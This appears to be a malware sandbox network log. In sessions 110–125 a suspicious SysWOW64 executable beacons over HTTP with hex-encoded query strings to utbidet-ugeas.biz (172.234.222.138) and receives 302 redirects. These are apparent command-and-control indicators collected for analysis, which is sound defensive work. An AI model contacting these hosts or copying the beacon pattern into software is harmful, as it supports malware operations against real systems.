Sep 7, 2024 15:35:54.517698050 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:54 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.3	61476	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:54.710196972 CEST	169	OUT	GET /d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:55.222570896 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:55 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.3	61477	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:55.228358030 CEST	201	OUT	GET /d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:55.708266020 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:55 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.3	61479	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:55.887200117 CEST	169	OUT	GET /d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:56.374618053 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:56 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.3	61480	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:56.396970987 CEST	201	OUT	GET /d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:56.875593901 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:56 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.3	61482	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:59.335441113 CEST	169	OUT	GET /d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4DEC HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:59.830460072 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:59 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4DEC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.3	61483	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:59.859873056 CEST	201	OUT	GET /d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4DEC HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:00.341392994 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:00 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4DEC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.3	61485	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:00.624237061 CEST	169	OUT	GET /d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:01.138006926 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:01 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.3	61486	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:01.163614035 CEST	201	OUT	GET /d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:01.656521082 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:01 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.3	61488	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:01.788566113 CEST	169	OUT	GET /d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:02.269860983 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:02 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.3	61489	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:02.282063007 CEST	201	OUT	GET /d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:02.760550022 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.3	61491	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:03.601428986 CEST	169	OUT	GET /d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:04.084835052 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:04 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.3	61492	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:04.091142893 CEST	201	OUT	GET /d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:04.580857992 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:04 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.3	61494	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:05.507308960 CEST	169	OUT	GET /d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:06.015573025 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:05 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.3	61495	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:06.032988071 CEST	201	OUT	GET /d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:06.523819923 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:06 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.3	61497	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:06.695609093 CEST	169	OUT	GET /d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF79D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:07.185998917 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:07 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF79D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.3	61498	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:07.202653885 CEST	201	OUT	GET /d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF79D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
